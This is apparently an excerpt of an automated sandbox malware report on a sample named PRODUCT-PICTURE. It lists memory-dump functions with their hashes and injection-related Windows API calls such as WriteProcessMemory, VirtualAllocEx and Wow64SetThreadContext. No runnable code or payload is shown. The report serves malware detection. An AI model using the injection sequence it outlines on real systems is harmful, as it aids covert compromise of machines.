Instruction Fuzzy Hash: C66134B1D00328CFDB14DFA9C8857EDBBF1BB48315F14A129E859AB280DB749985CF85

Function 08E26B7A Relevance: 1.6, APIs: 1, Instructions: 117injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 08E26C53

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f3687ffcaf65a15e3b3e8e523c85bebc8353732ae85ab6b4b2c714164d16a787
Instruction ID: 2eb587cb034eadb2452b332d178f58012d76b9dd830a0404c86bcbfd73c54487
Opcode Fuzzy Hash: f3687ffcaf65a15e3b3e8e523c85bebc8353732ae85ab6b4b2c714164d16a787
Instruction Fuzzy Hash: 7F41A8B5D012589FCF00CFA9D984AEEBBF1FB49310F14942AE818B7210D779AA45CB64

Function 08E26B80 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 08E26C53

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0227a33f89312414d6bf98dca432ea44789bcffc134e7626bcaccf8a73ef392b
Instruction ID: 905cb6fa2ad3dfe914221928d52aea40b0641ef5d12295bda845761d3c978e92
Opcode Fuzzy Hash: 0227a33f89312414d6bf98dca432ea44789bcffc134e7626bcaccf8a73ef392b
Instruction Fuzzy Hash: C641A8B5D012589FCF00CFA9D984AEEBBF1FB49310F14902AE818B7210D779AA41CB64

Function 08E26A18 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 08E26ACA

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7d40267cae9094578cf75e262f984493f7586aa17443cfdc3b809574a22ac208
Instruction ID: ad7fea50e1f78a0025a206c562d7e8c86c0a1c095ebe3e584b5f239187c14fdf
Opcode Fuzzy Hash: 7d40267cae9094578cf75e262f984493f7586aa17443cfdc3b809574a22ac208
Instruction Fuzzy Hash: 7231B8B9D00258DFCF10CFA9E980ADEFBB1EB59320F14A42AE814B7210D735A906CF54

Function 08E26A20 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 08E26ACA

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 92e96de88ab38413a9b31af885132edba2a2fa790a08766daea6e1fb6d887fbd
Instruction ID: 005e1736b24c03c6f2b74fb76671a4c4d0a46318fbc1e57da1394d5590f84af4
Opcode Fuzzy Hash: 92e96de88ab38413a9b31af885132edba2a2fa790a08766daea6e1fb6d887fbd
Instruction Fuzzy Hash: B03187B9D00258DFCF10CFA9D980ADEFBB5AB59320F14A42AE815B7210D735A945CF68

Function 08E2706C Relevance: 1.6, APIs: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 08E27114

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e3dd02bb95497f57d5a07675bf05fd66b30d24d0762b4b3063c5afeab005b006
Instruction ID: 948e706065fb42f8c1c7951b819a60e8d48fe8e0b2c887d8e4f9bcd8bfc49cdc
Opcode Fuzzy Hash: e3dd02bb95497f57d5a07675bf05fd66b30d24d0762b4b3063c5afeab005b006
Instruction Fuzzy Hash: 5031CAB5D00258DFCF10CFAAD980AEEFBB1AF58320F14942AE814B7210C735A945CF54

Function 08E27070 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 08E27114

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d39de13f19c6aad2f46605ffee796f7c265b252bcf7199ef3672cb70acb04d33
Instruction ID: 96f953f112e6e8ce80dc37574b74c00c40d6b8494233348e73eac7736f110e87
Opcode Fuzzy Hash: d39de13f19c6aad2f46605ffee796f7c265b252bcf7199ef3672cb70acb04d33
Instruction Fuzzy Hash: 0F31B9B5D00258DFCB10CFAAD980AEEFBB4AF49320F14942AE814B7210D735A945CF54

Function 08E264B8 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 08E2656F

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 82a6ec1d78d677a86c6a37b3f68a904193ec52b2406e92f2795fa57e6ab3494c
Instruction ID: ace29eecbc3a43fcb9198019b899708cdf6dd94e9cca05b1522e90d630ea0db4
Opcode Fuzzy Hash: 82a6ec1d78d677a86c6a37b3f68a904193ec52b2406e92f2795fa57e6ab3494c
Instruction Fuzzy Hash: 4241CBB5D00258DFCB10CFAAD884AEEBBF0BF58324F24942AE418B7254D738A945CF54

Function 08EDD1F0 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 08EDD294

Memory Dump Source

Source File: 00000006.00000002.1717309430.0000000008ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8ed0000_PRODUCT-PICTURE.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 176708679f28c6b62711dfbae6890d9cc12ac36bb0da0c5857874083905d223e
Instruction ID: 4501d959c72c6adef63252f0a755cbf14b6a01cddddea393a604eb101ac4879d
Opcode Fuzzy Hash: 176708679f28c6b62711dfbae6890d9cc12ac36bb0da0c5857874083905d223e
Instruction Fuzzy Hash: 9031A8B5D012489FCB10CFA9D980ADEFBF4BB49320F24A42AE814B7210D735A945CF54

Function 08E264C0 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 08E2656F

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e0ab08975e95a74fcdfa0f13c22d674c6d1b915c7280cce1606f0203bf7452a5
Instruction ID: 619eef3ea112ffdef39792d5f25d0b5059fe8393771651c513343c630f3ac258
Opcode Fuzzy Hash: e0ab08975e95a74fcdfa0f13c22d674c6d1b915c7280cce1606f0203bf7452a5
Instruction Fuzzy Hash: A031CAB5D00258DFCB10CFAAD884AEEBBF0BF58320F14942AE418B7250D738A945CF94

Function 08E1AFA0 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

;,, xrefs: 08E1B283, 08E1B288

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: ;,
API String ID: 0-3931838279
Opcode ID: 38417989c86694ac1636554baf50351e51ffa480b1386eca077443a47c7bad58
Instruction ID: ab6e93fd9b568f7516f3f7d72fbc11fe38146912b4d6cdab37ec53ff19b147ad
Opcode Fuzzy Hash: 38417989c86694ac1636554baf50351e51ffa480b1386eca077443a47c7bad58
Instruction Fuzzy Hash: DAA1BD36B01205DFCB05DFA8D484AAEBBB2EF89322F1181A9E411AB391CB359D41CF54

Function 073B149D Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

4'tq, xrefs: 073B1739

Memory Dump Source

Source File: 00000006.00000002.1711076388.00000000073B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_73b0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: 4'tq
API String ID: 0-257826263
Opcode ID: 712e2be4e49033aa6ca2a82c1f10d923b036aff65edc5365fc89563dc28ee967
Instruction ID: 5164839f82fec4ba2d1cc665e4dfc963705f07a10c07fa607e7413d048eb9855
Opcode Fuzzy Hash: 712e2be4e49033aa6ca2a82c1f10d923b036aff65edc5365fc89563dc28ee967
Instruction Fuzzy Hash: 798109F070420D9FEB34DF69C4656EABBA6AF85310F14806AD9098FA51DB31CD81CBA1

Function 08E1ACB0 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

(xq, xrefs: 08E1AD24

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: (xq
API String ID: 0-3100309293
Opcode ID: c74521a1e3b69a2e6860c2af79a58e3f06029d2a1e209978121614f64d929aef
Instruction ID: 0f591dc7702435b8324d3268bbab722f91f951e7ddc319fbb141c0b36f888c25
Opcode Fuzzy Hash: c74521a1e3b69a2e6860c2af79a58e3f06029d2a1e209978121614f64d929aef
Instruction Fuzzy Hash: 8F511236A056268FCB01CF68C48497AFBB1FF85325B1586A9D5199B382D730F892CBD1

Function 046A9DC0 Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

Tetq, xrefs: 046A9E10

Memory Dump Source

Source File: 00000006.00000002.1691066899.00000000046A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: Tetq
API String ID: 0-1197912954
Opcode ID: d32f91344328d2e1aeb17f14fd752b00276e087a967588cc634ede14cfbe6e72
Instruction ID: e2e6d943dfef79192416d5031219fe66cc13483f33e3eacb88e4ed051a7f4585
Opcode Fuzzy Hash: d32f91344328d2e1aeb17f14fd752b00276e087a967588cc634ede14cfbe6e72
Instruction Fuzzy Hash: D4515BB5A44414CFEB04CF69D548BAAB7F2FF48310F6544A6E406AB361EB71AC54CF90

Function 08EDE7B8 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 08EDE857

Memory Dump Source

Source File: 00000006.00000002.1717309430.0000000008ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8ed0000_PRODUCT-PICTURE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5ef6ddb50e4461e29a4d6a988b99fdda81bf8e26d63f88c2a209b5c2369dcf62
Instruction ID: b26e8c685f2c9e423722ee0a474a1746e57e81a6b2d1cf0d73bc0972c23e1156
Opcode Fuzzy Hash: 5ef6ddb50e4461e29a4d6a988b99fdda81bf8e26d63f88c2a209b5c2369dcf62
Instruction Fuzzy Hash: 113199B9D01258DFCF10CFA9D984ADEFBB4AF59320F14A42AE814BB210D735A945CF94

Function 073B3F6C Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

4'tq, xrefs: 073B4739

Memory Dump Source

Source File: 00000006.00000002.1711076388.00000000073B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_73b0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: 4'tq
API String ID: 0-257826263
Opcode ID: fd56b63668b0f03ad572626ae8b8b1ed447956ed16b2c1dfe64ea53b82e49a60
Instruction ID: e216a798a6224a4bee4d7800282b8a8264edb140f0eda5c618b664be53ea2889
Opcode Fuzzy Hash: fd56b63668b0f03ad572626ae8b8b1ed447956ed16b2c1dfe64ea53b82e49a60
Instruction Fuzzy Hash: 513180B4D0929ACFEF25CFA4C4456FEBBB1EF46301F1081AAD118A7A52D7381946CF51

Function 08E1E350 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

p<tq, xrefs: 08E1E39A

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: p<tq
API String ID: 0-190553644
Opcode ID: b5ea69d4327772da3ab6283707f1a182264a8e6c8ed189dccf673a048aa9ff72
Instruction ID: 966eb3c14ce8a52bd3501b8a3f175ba6ed577be4aefb59d9b5904f9ddcfe634e
Opcode Fuzzy Hash: b5ea69d4327772da3ab6283707f1a182264a8e6c8ed189dccf673a048aa9ff72
Instruction Fuzzy Hash: AD21AF723442459FCF02CF2AC8849AA7FE6BF8A216B195099FD05CB3A1C630DC51DB20

Function 08E1E360 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<tq, xrefs: 08E1E39A

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: p<tq
API String ID: 0-190553644
Opcode ID: b858f5446fd2a4ef11a6a61a5a57a26caae282027f1461385cb06a8edd25c700
Instruction ID: 78a51079548464db5186d477f4ac2335b5bae6c9ab0642ec0d45202c6d599a4e
Opcode Fuzzy Hash: b858f5446fd2a4ef11a6a61a5a57a26caae282027f1461385cb06a8edd25c700
Instruction Fuzzy Hash: 71214C713441559FCF11CF6AC884AAA7BEAAF89346B0950A9FC45CB3A1CB31DC91DB60

Function 0A195088 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

i, xrefs: 0A1951B9

Memory Dump Source

Source File: 00000006.00000002.1721722215.000000000A190000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a190000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: i
API String ID: 0-3865851505
Opcode ID: 627b4a755b696ae78a26cd7df5ba9583aa9fd1420d6609b131467469322a6e88
Instruction ID: 582d5f602fff3da4239a8a67806e64df4182a8644a20cb67239322ab9affd3cb
Opcode Fuzzy Hash: 627b4a755b696ae78a26cd7df5ba9583aa9fd1420d6609b131467469322a6e88
Instruction Fuzzy Hash: D6316474A012689FEB64CF28D984E9DBBF5BB48300F5081E6E81CA7355DB349E85CF50

Function 08E17059 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

Tetq, xrefs: 08E175D6

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: Tetq
API String ID: 0-1197912954
Opcode ID: 287a16066fec8fa386aef7e5cfcaf00c5f3b2ab09521f882a72750730382d5a5
Instruction ID: b953eedc26d5d7eb40807534364b8357406413e16ca0e2953f9de774f9e377aa
Opcode Fuzzy Hash: 287a16066fec8fa386aef7e5cfcaf00c5f3b2ab09521f882a72750730382d5a5
Instruction Fuzzy Hash: 3C2113B4A05258CFEB64DF68D894AADBBB2FF89704F1091AAD409A7345DA3099858F00

Function 046AB310 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

8xq, xrefs: 046AB36E

Memory Dump Source

Source File: 00000006.00000002.1691066899.00000000046A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: 8xq
API String ID: 0-3139237302
Opcode ID: f5f89b7aa63f2aca7b7ae0f2ef58c19d28e47a25485d9d7f2349bb9c3712e2be
Instruction ID: 926022d1325af9edf4354986acf3debd9cd0ffb0a94f7cc7818cff76767dd183
Opcode Fuzzy Hash: f5f89b7aa63f2aca7b7ae0f2ef58c19d28e47a25485d9d7f2349bb9c3712e2be
Instruction Fuzzy Hash: 7111C230305600CFE3059A2EE499B697FA7EBC6710F4500A7E2058B751EA35BC92CB62

Function 08E170D9 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

Tetq, xrefs: 08E175D6

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: Tetq
API String ID: 0-1197912954
Opcode ID: 4f83af0dcfc52fbcba2de317f3d6b8e57a1a9a5c4dcc3b5677896e4093cb5899
Instruction ID: 23809cfb2878d6ce36633b9e07eb542ea5c93407b89d9682568914c2fdb21896
Opcode Fuzzy Hash: 4f83af0dcfc52fbcba2de317f3d6b8e57a1a9a5c4dcc3b5677896e4093cb5899
Instruction Fuzzy Hash: C411BFB4E05258CFEB64DF29D894BADBBB2BB85304F2095AAD409A7344DA309D85CF50

Function 08E14057 Relevance: 1.3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

Strings

O, xrefs: 08E140FC

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: O
API String ID: 0-878818188
Opcode ID: e68b2a33d6a8c5c31f8d305740aff0647a70375cb991d68fba5628611646da39
Instruction ID: 8667884cdefb8aec86d79313f5c1a056b64b67a959440562e1f16371e220a692
Opcode Fuzzy Hash: e68b2a33d6a8c5c31f8d305740aff0647a70375cb991d68fba5628611646da39
Instruction Fuzzy Hash: 16119674A016188FDB64DF28D894ADABBF1FF4A311F0041E9E44AAB351DB305E84CF42

Function 08E1032A Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

", xrefs: 08E12332

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 7a02a2a0ad4f74dacc300be4819e53b377a5aead3b2d8c0c432a939f66c5a281
Instruction ID: 3d56579488952d68183ad34384f378e1ef7f8e984001e889ef6cab27856d6d06
Opcode Fuzzy Hash: 7a02a2a0ad4f74dacc300be4819e53b377a5aead3b2d8c0c432a939f66c5a281
Instruction Fuzzy Hash: 63F0FFB094531ACFDF109F65D9487A9B7B1BB45301F1055F9D41997340DB7449858F02

Function 0A192578 Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

7, xrefs: 0A19FD90

Memory Dump Source

Source File: 00000006.00000002.1721722215.000000000A190000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a190000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: 3a3a8e729ebccb2faa8a35fd2e3fca3797205d38051818573f837a718d7fdec4
Instruction ID: 4c2469b3d5522e447e565130d810f0d1d45951d5dc9d07bd475859ef1a5bf93f
Opcode Fuzzy Hash: 3a3a8e729ebccb2faa8a35fd2e3fca3797205d38051818573f837a718d7fdec4
Instruction Fuzzy Hash: EFF0A4B09442A9CBCB74CF18D9887DCBBB4AB09304F1148E6805DB6240D7B09EC4CF01

Function 08E10438 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

1, xrefs: 08E1048B

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: e9fcc786dd233eefd48563e8f3b880588e9585579203241d1e902d041a8ad951
Instruction ID: c5160b5f87eee495c21016bca711fdb978a50ca12b0b962c67881594e53b85df
Opcode Fuzzy Hash: e9fcc786dd233eefd48563e8f3b880588e9585579203241d1e902d041a8ad951
Instruction Fuzzy Hash: 85F0DA70A05628CFDF61DF54D8887DAB7B5FB0A301F0016D9D449A6241CB744EC5CF02

Function 08E14D72 Relevance: 1.3, Strings: 1, Instructions: 11COMMON

Download Yara Rule

Strings

H, xrefs: 08E14D9B

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: ebfe5805471ad18bc4b4b3e9b0eb219794163bd4d8250beb83da7502b8a3b696
Instruction ID: f38e1ee957eb91406fcb1785b12d23b07a6114510378ca073de0d8fc08a637de
Opcode Fuzzy Hash: ebfe5805471ad18bc4b4b3e9b0eb219794163bd4d8250beb83da7502b8a3b696
Instruction Fuzzy Hash: 44D067B9D097A88ACF909F24C498399B7B1FB11701F1090D6D8185B206DB3947859F95

Function 08E14DD0 Relevance: 1.3, Strings: 1, Instructions: 9COMMON

Download Yara Rule

Strings

H, xrefs: 08E14D9B

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 7bfa2e582c1a95a4e20f00af62932905ef7997b680173ff446218b5a54c62783
Instruction ID: 4908ed8d1ca6a7a56b95b9cce735933894a954e2b85909f2ae2ac1c2ae7572db
Opcode Fuzzy Hash: 7bfa2e582c1a95a4e20f00af62932905ef7997b680173ff446218b5a54c62783
Instruction Fuzzy Hash: B1C012BDC062288BCFA0CF1098183DAF7F0AB00305F10A0C68408A3300EB380BC48F04

Function 046A96C0 Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1691066899.00000000046A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcd8637bc136dbcda7186ccbed4c8f4dbc84d2065cdd54d84683f3dd0117b22e
Instruction ID: e52386e8f259fcd993ee17153234b78c5432481e112d04b9b3d9a9353b43cda7
Opcode Fuzzy Hash: dcd8637bc136dbcda7186ccbed4c8f4dbc84d2065cdd54d84683f3dd0117b22e
Instruction Fuzzy Hash: 66021D74A00609DFCB05CFA8C484A9EBBB2FF88314F248559E805AB365D735EC96CF90

Function 046A80F0 Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1691066899.00000000046A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8aa7a1d67ff11cfd92c9c568b6ca50c4d70479b0ae4a991e94cf8a9644d070e
Instruction ID: 244f05833f5f6e7c39f9cd853ff0e16393e3eab0ab6f206083f3429918c7d909
Opcode Fuzzy Hash: d8aa7a1d67ff11cfd92c9c568b6ca50c4d70479b0ae4a991e94cf8a9644d070e
Instruction Fuzzy Hash: 35D115357006049FCB08DF79C584AADB7F6FF89314B5185A8E9069B361DB31ED86CBA0

Function 046A73A8 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1691066899.00000000046A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d069004ed2df67b97b8d3c3137b06deb6a7ac5d6e68f1eeb904fdf27eb7f859
Instruction ID: 938d725a5d87b6a4758811036ce82deea25d35f92f0d6aa49d61a15c96cdda40
Opcode Fuzzy Hash: 1d069004ed2df67b97b8d3c3137b06deb6a7ac5d6e68f1eeb904fdf27eb7f859
Instruction Fuzzy Hash: 40C1AC35B006089FCB14DFA5D884AADBBB2FF89311F158569E4069B365EB34EC59CF80

Function 046A2AA0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1691066899.00000000046A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0eb1fc88a59b075f72a66b3b3cbe5cd00b112c5132909ec43b95cf62d59cf21
Instruction ID: 825bb64b170f4bf5152c05891bf25fbd6b17ddef1446a3085f00e856d3b2e5f1
Opcode Fuzzy Hash: d0eb1fc88a59b075f72a66b3b3cbe5cd00b112c5132909ec43b95cf62d59cf21
Instruction Fuzzy Hash: 07916FB4A046098FCB05CF98C4A49AEFBB1FF48314B248599D915AB3A5D736FC51CF90

Function 046A7B70 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1691066899.00000000046A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19df84df232c20e9f26ac14ab72b09881cd9b4faf8653693b1b97f28de43a7a7
Instruction ID: 3d6c2641f1d2b29d7c199e1e4f0779e2b44597c4afea43363eff7bf9b340bdb7
Opcode Fuzzy Hash: 19df84df232c20e9f26ac14ab72b09881cd9b4faf8653693b1b97f28de43a7a7
Instruction Fuzzy Hash: E5719D71A006098FCB14DF68D884AADBBF6FF85315F14896AE0169B751EB31EC46CF80

Function 046A7CDE Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1691066899.00000000046A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4945705e00005bb7ae2575328b9c14c9617e9eea6743a310e7ea4bd7534bd8c1
Instruction ID: 52079f317c7da85664e2f1f191bb75d6c2f840e7986265adf0b2c42598cade94
Opcode Fuzzy Hash: 4945705e00005bb7ae2575328b9c14c9617e9eea6743a310e7ea4bd7534bd8c1
Instruction Fuzzy Hash: 4B713E70E006089FDB14DFA5D484BADBBF6BF88305F148569D412AB790EB35AC5ACF90

Function 046A8580 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

